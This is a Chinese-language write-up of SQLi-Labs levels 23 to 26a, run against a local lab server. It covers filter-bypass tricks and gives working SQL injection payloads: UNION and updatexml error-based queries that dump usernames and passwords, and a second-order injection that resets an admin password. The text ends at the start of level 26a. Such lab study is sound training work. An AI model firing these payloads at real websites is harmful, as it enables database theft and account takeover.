SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)

文章目录

        • 1. SqliLab_Mysql_Injection详解_字符型注入(九)
          • 1.1. SQL注入_过滤绕过
          • 1.2. 绕过姿势
            • 1.2.1. 开启GPC**后一些绕过姿势:
            • 1.2.2. 字符编码问题导致绕过:
            • 1.2.3. 编码解码导致的绕过:
            • 1.2.4. 一些特殊情况导致的绕过:
          • 1.3. 特殊绕过:
            • 1.3.1. 绕过空格过滤:
            • 1.3.2. 绕过union,select,where等关键字过滤:
            • 1.3.3. 绕过and、or、xor、not 过滤:
            • 1.3.4. 绕过小括号被过滤:
            • 1.3.5. 引号绕过:
            • 1.3.6. 绕过逗号过滤:
            • 1.3.7. union select 1,2 等同于:union select * from (select 1)a join (select 2)b
            • 1.3.8. select ascii(mid(user(),1,1))=80 ;等同于:select user() like 'r%';
            • 1.3.9. select * from news limit 0,1;等同于:select * from news limit 1 offset 0;
            • 1.3.10. 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)(between a and b:返回a,b之间的数据,不包含b):
            • 1.3.11. '='绕过:
            • 1.3.12. 等价函数绕过:
        • 2. SqliLab关卡包含(23,24,25,25a,26,26a,27,27a,28,28a)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
          • 2.1. SqliLab-23(--,#,过滤绕过(单引号闭合)):
            • 2.1.1. 初始界面
            • 2.1.2. 判断注入点(关键步骤)
            • 2.1.3. 猜解字段
            • 2.1.4. 收集信息
            • 2.1.5. 查询当前数据库中存在的表
            • 2.1.6. 查询’users‘表的字段
            • 2.1.7. 查询’users‘表的字段值
          • 2.2. SqliLab-24(二次注入)
            • 2.2.1. 二次注入原理
            • 2.2.2. 注入思路
            • 2.2.3. 初始界面
            • 2.2.4. 判断注入点(关键步骤)
          • 2.3. SqliLab-25(and,or,过滤绕过(单引号闭合))
            • 2.3.1. 初始页面
            • 2.3.2. 判断注入点(关键步骤)
            • 2.3.3. 搜集数据库信息
            • 2.3.4. 查询当前使用的数据库
            • 2.3.5. 查询当前数据库‘security’存在的表
            • 2.3.6. 查询‘users’表的字段
            • 2.3.7. 查询‘users’表的字段值信息
          • 2.4. SqliLab-25a(and,or,过滤绕过(无闭合字符))
            • 2.4.1. 初始页面
            • 2.4.2. 判断注入点(关键步骤)
          • 2.5. SqliLab-26(and,or,--,#,/*,/,空格,过滤绕过(单引号闭合))
            • 2.5.1. 初始页面
            • 2.5.2. 判断注入点(关键步骤)
          • 2.6. SqliLab-26a(and,or,--,#,/*,/,空格,过滤绕过(')闭合))
            • 2.6.1. 初始页面
            • 2.6.2. 判断注入点(关键步骤)
          • 2.7. SqliLab-27(union,select,--,#,/*,/,空格,过滤绕过(单引号闭合))
            • 2.7.1. 初始页面
            • 2.7.2. 判断注入点(关键步骤)
            • 2.7.3. 使用UNION联合查询获取数据库信息
            • 2.7.4. 使用报错注入获取数据库信息
          • 2.8. SqliLab-27a(union,select,--,#,/*,/,空格,过滤绕过(双引号闭合))
            • 2.8.1. 初始页面
            • 2.8.2. 判断注入点(关键步骤)
            • 2.8.3. 使用UNION联合查询获取数据库信息
          • 2.9. SqliLab-28((union select),--,#,/*,/,空格,过滤绕过(')闭合))
            • 2.9.1. 初始页面
            • 2.9.2. 判断注入点(关键步骤)
            • 2.9.3. 使用UNION联合查询获取数据库信息
          • 2.10. SqliLab-28a((union select),过滤绕过(')闭合))
            • 2.10.1. 初始页面
            • 2.10.2. 判断注入点(关键步骤)
            • 2.10.3. 使用UNION联合查询获取数据库信息
        • 3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入(九)

1.1. SQL注入_过滤绕过
1.2. 绕过姿势
1.2.1. 开启GPC**后一些绕过姿势:

单引号被转义:

1.2.2. 字符编码问题导致绕过:
  • 设置数据库字符为gbk导致宽字节注入 //%df和%5c(\);
  • 使用icon和mb_convert_encoding转码函数导致宽字节注入;
1.2.3. 编码解码导致的绕过:
  • url解码导致绕过addslashes();
  • base64解码导致绕过addslashes();
  • json编码导致绕过addslashes()//json编码会把\转换为\\;
1.2.4. 一些特殊情况导致的绕过:
  • 没有使用引号保护字符串,直接无视addslashes();
  • 使用了stripslashes() //删除由 addslashes() 函数添加的反斜杠;
  • 字符替换导致的绕过addslashes() //先用addslashes()转义,再用str_replace替换反斜杠(/);
    防御方式:统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8;对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charse的使用
1.3. 特殊绕过:
1.3.1. 绕过空格过滤:

+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号(),%09,%0a,%0b,%0c,%0d等;

1.3.2. 绕过union,select,where等关键字过滤:

大小写,双写关键字(uniounionn,unionunion),内联注释/*!union*/内联注释,编码;

1.3.3. 绕过and、or、xor、not 过滤:

&&,||,%26%26,|,!,大小写,双写关键字(anandd,andand),编码;

1.3.4. 绕过小括号被过滤:

使用正则匹配
EG:
regexp binary ‘^.*$’;
或者使用笛卡儿积
EG:
union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2;

1.3.5. 引号绕过:

(将引号中的值转换为十六进制)
EG:
select column_name from information_schema.tables where table_name=0x7573657273;

1.3.6. 绕过逗号过滤:

EG:
‘xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or’
在使用盲注的时候,需要使用到mid(),substr(),limit函数。这些函数都需要使用到逗号。对于mid()和substr()函数可以使用from to的方式来替换:
EG:
select mid(database() from 1 for 1);
select substr(database() from 1 for 1);

1.3.7. union select 1,2 等同于:union select * from (select 1)a join (select 2)b
1.3.8. select ascii(mid(user(),1,1))=80 ;等同于:select user() like ‘r%’;
1.3.9. select * from news limit 0,1;等同于:select * from news limit 1 offset 0;
1.3.10. 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)(between a and b:返回a,b之间的数据,不包含b):

EG:
select * from users where id=1 andascii(substr(database(),0,1))>64;等同于:select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;

1.3.11. '='绕过:

使用like 、rlike 、regexp 或者’<‘或者’>;

1.3.12. 等价函数绕过:

EG:

  • hex()、bin() --> ascii()
  • sleep() --> benchmark()
  • concat_ws() --> group_concat()
  • mid()、substr() --> substring()
  • @@user --> user()
  • @@datadir --> datadir()
  • substring()和substr()无法使用时: id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),
    1,1)))=74
    或者:
    substr((select ‘password’),1,1) = 0x70
    strcmp(left(‘password’,1), 0x69) = 1
    strcmp(left(‘password’,1), 0x70) = 0
    strcmp(left(‘password’,49 1), 0x71) = -1

2. SqliLab关卡包含(23,24,25,25a,26,26a,27,27a,28,28a)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)

2.1. SqliLab-23(–,#,过滤绕过(单引号闭合)):
2.1.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第1张图片

2.1.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-23/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),并有非SQL语句错误的报错提示,判断可能存在过滤,首先考虑是否是(--)被过滤,尝试用(#)替换构造;
http://192.168.1.104/sql/Less-23/?id=1' and 1=1 #
//服务器返回页面错误(预期正确),并有非SQL语句错误的报错提示,判断可能存在过滤,考虑是否是(#)被过滤,尝试用(and '1'='1闭合语句)替换构造;
http://192.168.1.104/sql/Less-23/?id=1' and 1=1 and '1'='1
//服务器返回页面正确(预期正确),尝试使用(and 1=2)进行构造;
http://192.168.1.104/sql/Less-23/?id=1' and 1=2 and '1'='1
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为('),并存在对(#,--)的过滤;

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第2张图片
SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第3张图片
经过对注入点判断后,得知参数(id)存在注入,闭合字符为(’),并存在对(#,–)的过滤,且由于在服务器返回的界面,可以查看到回显信息和存在SQL语句报错提示,可以尝试使用UNION联合查询和报错注入的方式获取数据库信息(这里使用UNION查询的方式);

2.1.3. 猜解字段

使用order by 构造链接;
EG:

http://192.168.1.104/sql/Less-23/?id=1'  order by 1,2,3,4,5 and '1'='1 
//服务器页面返回错误,查询到字段数为(3);

查询到字段数为(4);

2.1.4. 收集信息

由于在服务器返回的界面,可以查看到回显信息,所以先使正确的查询语句查询失败,再使用union select,version(),database()函数构造语句,使服务器返回的界面显示要收集的信息(还有诸多收集信息的函数,这里就不在赘述);
EG:

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,database(),2 and '1'='1
//服务器页面返回错误,报错提示显示出当前使用的数据库名为(security);
...
2.1.5. 查询当前数据库中存在的表

使用union select,group_concat()函数来构造语句;
EG:

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() and '1'='1
//查询到‘database()’数据库存在的表有(emails,referers,uagents,users);
2.1.6. 查询’users‘表的字段

使用union select,group_concat()函数来构造语句;
EG:

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' and '1'='1
//查询到’users‘表的字段为(id,username,password);
2.1.7. 查询’users‘表的字段值

使用union select,group_concat()函数来构造语句;
EG:

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat('%7c',username,'%7c',password,'%7c') from users where id=2 and '1'='1
//查询表‘users’中的字段值信息(要使用where限制查询的条件(mysql_fetch_array() 函数只能是一对一条件进行比较,不能进行一对多进行比较),如果直接查询所有会出现报错提示,但是如果直接使用报错注入的方式就不会出现这种情况);

到此,SQL注入基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-23结束;

2.2. SqliLab-24(二次注入)
2.2.1. 二次注入原理

二次注入是存储型注入,是将可以导致SQL注入的字符串先存入数据库中,当再次调用这个恶意构造的字符时,触发SQL注入;

2.2.2. 注入思路
  • 通过构造数据的形式,在浏览器或其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含构造的恶意SQL语句或命令;
  • 服务端将提交的请求信息进行存储,通常是保存在数据库中;
  • 向服务端发送第二个与第一个不相同的请求数据信息;
  • 服务端在接收到请求的信息后,为了处理该请求,调用存储的包含了构造的恶意信息的数据,从而触发SQL注入漏洞;
2.2.3. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第4张图片

2.2.4. 判断注入点(关键步骤)

观察发现是POST型数据传送,且通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为login_user和login_password),尝试对两个参数进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=a" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=a) or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
login_user=a] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
login_user=a} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
login_user=a'' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=a'" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=a') or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('])代替('))进行构造;
login_user=a'] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('})代替('))进行构造;
login_user=a'} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("')代替('})进行构造;
login_user=a"' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
login_user=a"" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("])代替("))进行构造;
login_user=a"] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("})代替("])进行构造;
login_user=a"} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()')代替("})进行构造;
login_user=a)' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
login_user=a)" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()))代替()")进行构造;
login_user=a)) or 1=1 %23&login_password=1&mysubmit=Login
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变,尝试用admin进行测试,是否存在盲注;
login_user=admin and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=admin' and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=admin" and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=admin) and i1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替())进行构造;
login_user=admin'' and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=admin'" and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=admin') and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("')代替('))进行构造;
login_user=admin"' and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
login_user=admin"" and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
login_user=admin") and 1=1 %23&login_password=1&mysubmit=Login
...
//经过尝试发现(宽字节绕过,特殊字符过滤绕过等),参数(login_user)不存在注入,尝试对参数(login_password)进行测试;
login_user=admin&login_password='&mysubmit=Login
//服务器返回页面错误,尝试(")代替(')进行构造;
login_user=admin&login_password="&mysubmit=Login
//服务器返回页面错误,尝试())代替(")进行构造;
login_user=admin&login_password=)&mysubmit=Login
//服务器返回页面错误,尝试(})代替())进行构造;
login_user=admin&login_password=}&mysubmit=Login
//服务器返回页面错误,尝试(])代替(})进行构造;
login_user=admin&login_password=]&mysubmit=Login
//服务器返回页面错误,尝试('')代替(])进行构造;
login_user=admin&login_password=''&mysubmit=Login
//服务器返回页面错误,尝试('")代替('')进行构造;
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变(登录失败),考虑是否存在HTTP头注入,使用正确的login_user和login_password进行尝试(admin为假想已知测试用户)
//服务器返回页面发现,只有一个更改密码和下线的选项,尝试初始页面的创建新用户选项;

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第5张图片
SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第6张图片
考虑通过创建新用户要执行的SQL语句(insert into table(name,passwd)values(‘name’,‘passwd’)),将注入语句(报错)放入注册的(uname)中,等创建该用户成功后(含有payload的login_user已经存储在数据库中),然后再登录该用户,然后再通过登录用户时,后台会执行查询SQL语句(select login_user and passwd from table where login_user= ’ ’ and passwd = ’ '),进而执行payload;
EG:

username=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&password=123&re_password=123&submit=Register
//服务器返回页面正确,创建用户成功;
login_user=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&login_password=123&mysubmit=Login
//服务器返回页面错误,登录失败,再次尝试创建用户('updatexml(1,concat(0x23,database()),1) and '1'='1);
username='updatexml(1,concat(0x23,database()),1) and '1'='1&password=123&re_password=123&submit=Register
//服务器返回页面正确,创建用户成功;
login_user=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&login_password=123&mysubmit=Login
//服务器返回页面错误,登录失败,再次尝试创建用户的密码为('updatexml(1,concat(0x23,database()),1) and '1'='1);
username=test&password=123&re_password='updatexml(1,concat(0x23,database()),1) and '1'='1&submit=Register
//服务器返回页面正确,创建用户成功;
login_user=test&login_password='updatexml(1,concat(0x23,database()),1) and '1'='1&mysubmit=Login
//服务器返回页面错误,登录失败,考虑后台可能限制了新建的用户的用户名和密码的长度,在实际数据库中查看,果然发现,后台对新建用户时对用户输入的用户名和密码进行了字符长度的限制;

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第7张图片
经过测试,发现,后台对新建用户的输入的用户名和密码进行了限制,考虑使用字符闭合截断法,直接注册与管理员(假想账户名为admin)相似的用户(admin’#),并更改该新建用户的密码(123),使后台在执行SQL语句(update table set password=‘123’ where login_user=‘admin’#),从而达到修改管理员账户的密码的目的。
EG:

username=admin'#&password=123&re_password=123&submit=Register
//服务器返回页面正确,创建用户成功;
login_user=admin%27%23&login_password=123&mysubmit=Login
//服务器返回页面正确,登录成功,尝试修改新建用户(admin'#)的密码为(123),由于SQL语句执行时admin'#后面被注释掉,原有admin的密码可以随便输入,只要更改的密码知道就行了;
current_password=test&password=123&re_password=123&submit=Reset
//服务器返回页面正确,更改密码成功,查看使用管理员用户(admin)和更改的密码(123)登录;
login_user=admin&login_password=123&mysubmit=Login
//服务器返回页面正确,成功登录管理员账户;

在这里插入图片描述
SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第8张图片
在这里插入图片描述
SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第9张图片
虽然上面这种方式无法注入足够长的SQL语句,但是直接修改管理员的密码(知道管理员的账户,且后天对新建用户时用户输入的特殊字符没有过滤),一步到位,而且这种注入也是sqlmap探测不出来的,因为sqlmap在注册时的username也是通过插入SQL语句测试,当数据库限定了注册的用户名的长度,就会造成插入的语句不完整,因此sqlmap会判定不存在SQL注入,所以需要手工去探测,至此,SqliLab-24结束;

2.3. SqliLab-25(and,or,过滤绕过(单引号闭合))
2.3.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第10张图片

2.3.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(or和and)都不能使用,但是判断注入点时可以去尝试一下;
EG:

http://192.168.1.104/sql/Less-25/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),且发现有SQL语句报错提示('1=1-- ' LIMIT 0,1')说明参数(id)的闭合字符是('),但是返回了错误,则(and)可能被过滤了,尝试使用双写(anandd)绕过;
http://192.168.1.104/sql/Less-25/?id=1' anandd 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-25/?id=1' anandd 1=2 --+
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为('),过滤了(and);尝试是否过滤(or);
http://192.168.1.104/sql/Less-25/?id=1' or 1=2 --+
//服务器返回页面错误(预期正确),则(or)可能被过滤了,尝试使用双写(oorr)绕过;
http://192.168.1.104/sql/Less-25/?id=1' oorr 1=2 --+
//服务器返回页面正确(预期正确),尝试使用(-1' or 1=2)构造;
http://192.168.1.104/sql/Less-25/?id=-1' oorr 1=2 --+
//服务器返回页面错误(预期错误),判断过滤了(or);

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第11张图片
经过对参数(id)的注入点测试,发现存在注入点,闭合字符为(’),同时过滤了(and),(or),这里采用双写的方式绕过(anand,oorr),同时服务器页面存在回显和报错提示,可以使用UNION联合查询和报错注入的方式获取信息(这里采用报错注入的方式获取数据库信息(sqliLab-23采用的UNION查询法);

2.3.3. 搜集数据库信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数和concat()函数构造payload;

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c),1) --+
//服务器返回页面错误,但查看到页面显示了当前数据库名为(security),数据库版本为(5.5.53);
...
2.3.4. 查询当前使用的数据库

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7c),1,32),1)  --+
//服务器返回页面错误,但查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
2.3.5. 查询当前数据库‘security’存在的表

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数构造payload;

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,但查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
2.3.6. 查询‘users’表的字段

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7c),1)  --+
//服务器返回页面错误,但查看到报错信息显示了‘users’表的字段为(id,username,password)
2.3.7. 查询‘users’表的字段值信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,passwoorrd,0x7c) from users),0x7e),1,32),1) --+
//服务器返回页面错误,但查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。);

查询其他的值也是同上面的方法一致;到此,SQL注入(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-25结束;

2.4. SqliLab-25a(and,or,过滤绕过(无闭合字符))
2.4.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第12张图片

2.4.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(or和and)都不能使用,但是判断注入点时可以去尝试一下;
EG:

http://192.168.1.104/sql/Less-25a/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用anandd构造;
http://192.168.1.104/sql/Less-25a/?id=1 anandd 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-25a/?id=1 anandd 1=2 --+
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为(),过滤了(and);尝试是否过滤(or);
http://192.168.1.104/sql/Less-25a/?id=1 or 1=2 --+
//服务器返回页面错误(预期正确),则(or)可能被过滤了,尝试使用双写(oorr)绕过;
http://192.168.1.104/sql/Less-25a/?id=1 oorr 1=2 --+
//服务器返回页面正确(预期正确),尝试使用(-1' or 1=2)构造;
http://192.168.1.104/sql/Less-25a/?id=-1 oorr 1=2 --+
//服务器返回页面错误(预期错误),判断过滤了(or);

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-25a/?id=1' anandd 1=1 --+
//服务器返回页面无报错提示,尝试(")代替(')构造;
http://192.168.1.104/sql/Less-25a/?id=1' anandd 1=1 --+
//服务器返回页面无报错提示,尝试())代替(")构造;
http://192.168.1.104/sql/Less-25a/?id=1) anandd 1=1 --+
//服务器返回页面无报错提示,尝试(@$%^)代替())构造;
http://192.168.1.104/sql/Less-25a/?id=1@$%^ anandd 1=1 --+
//服务器返回页面无报错提示,尝试(&&!)代替(@$%^)构造;
...
//经过尝试发现,服务器返回页面不存在报错提示;

经过对参数(id)的注入点测试,发现存在注入点,闭合字符为(),同时过滤了(and),(or),这里采用双写的方式绕过(anand,oorr),同时服务器页面存在回显,可以使用UNION联合查询的方式获取信息,具体流程同sqliLab-23采用的UNION查询法一样,SqliLab-25a结束;

2.5. SqliLab-26(and,or,–,#,/*,/,空格,过滤绕过(单引号闭合))
2.5.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第13张图片

2.5.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(空格和注释)都不能使用,但是判断注入点时可以去尝试一下;
EG:

http://192.168.1.104/sql/Less-26/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),但是同时发现页面显示了输入的的结果为(11=1),即输入的空格和and以及(--)“消失”了,尝试使用anandd构造;
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 --+
//服务器返回页面正确(预期正确),输入的and出现,判断(and)被过滤,判断(or)是否被过滤;
http://192.168.1.104/sql/Less-26/?id=1 or 1=2 --+
//服务器返回页面正确(预期正确),但是同时发现页面显示了输入的的结果为(11=2),即输入的空格和or以及(--)“消失”了,尝试使用oorr构造;
http://192.168.1.104/sql/Less-26/?id=1 oorr 1=2 --+
//服务器返回页面正确(预期正确),输入的or出现,判断(or)被过滤,但是注释符消失,尝试(#,%23,/*);
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 #
//服务器返回页面正确(预期正确),但输入的注释符没有出现;
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 %23
//服务器返回页面正确(预期正确),但输入的注释符没有出现;
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 /*
//服务器返回页面正确(预期正确),但输入的注释符没有出现,尝试使用and 1=1闭合;
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 anandd 1=1 
//服务器返回页面正确(预期正确),输入的注释符出现;但是空格消失,尝试(+);
http://192.168.1.104/sql/Less-26/?id=1+anandd+1=1+anandd+1=1 
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(/\*\*/);
http://192.168.1.104/sql/Less-26/?id=1/\*\*/anandd/\*\*/1=1/\*\*/anandd/\*\*/1=1
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(%09);
http://192.168.1.104/sql/Less-26/?id=1%09anandd%091=1%09anandd%091=1 
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(%0a);
http://192.168.1.104/sql/Less-26/?id=1%0aanandd%0a1=1%0aanandd%0a1=1 
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(%0b);
http://192.168.1.104/sql/Less-26/?id=1%0banandd%0b1=1%0banandd%0b1=1 
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(%0c);
http://192.168.1.104/sql/Less-26/?id=1%0canandd%0c1=1%0canandd%0c1=1 
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(%0d);
http://192.168.1.104/sql/Less-26/?id=1%0danandd%0d1=1%0danandd%0d1=1 
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(%df);
http://192.168.1.104/sql/Less-26/?id=1%dfanandd%df1=1%dfanandd%df1=1 
//服务器返回页面正确(预期正确),但输入的空格没有出现,尝试使用(%a0);
http://192.168.1.104/sql/Less-26/?id=1%a0anandd%a01=1%a0anandd%a01=1 
//服务器返回页面正确(预期正确),输入的空格出现,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-26/?id=1%a0anandd%a01=2%a0anandd%a01=1 
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-26/?id=1'%a0anandd%a01=1%a0anandd%a0'1'='1 
//服务器返回页面正确(预期正确),尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-26/?id=1'%a0anandd%a01=2%a0anandd%a0'1'='1 
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为('),且后台过滤了(and,or,--,#,/*,/,空格);
//也可以尝试使用圆括号绕过空格过滤;
http://192.168.1.104/sql/Less-26/?id=1'anandd(1=1)anandd'1'='1
//服务器返回页面正确(预期正确),尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-26/?id=1'anandd(1=2)anandd'1'='1
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为(');

在这里插入图片描述
EG:
判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-26/?id=1'"'%a0anandd%a01=1%a0anandd%a0'1'='1
//服务器返回页面错误(预期错误),且存在报错提示;

通过对参数(id)进行测试,判断出该参数存在注入,闭合字符为(’),且后台过滤了(and,or,–,#,/*,/,空格),可以分别用(anandd,oorr,and’1’=1,%a0/圆括号)进行替换绕过过滤,同时服务器返回页面存在回显和报错提示,可以使用UNION联合查询和报错注入的方式来获取数据库信息,采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样,采用报错注入的方法的具体流程同SqliLab-25采用的报错注入的方法一样,至此,SqliLab-26结束;

2.6. SqliLab-26a(and,or,–,#,/*,/,空格,过滤绕过(’)闭合))
2.6.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第14张图片

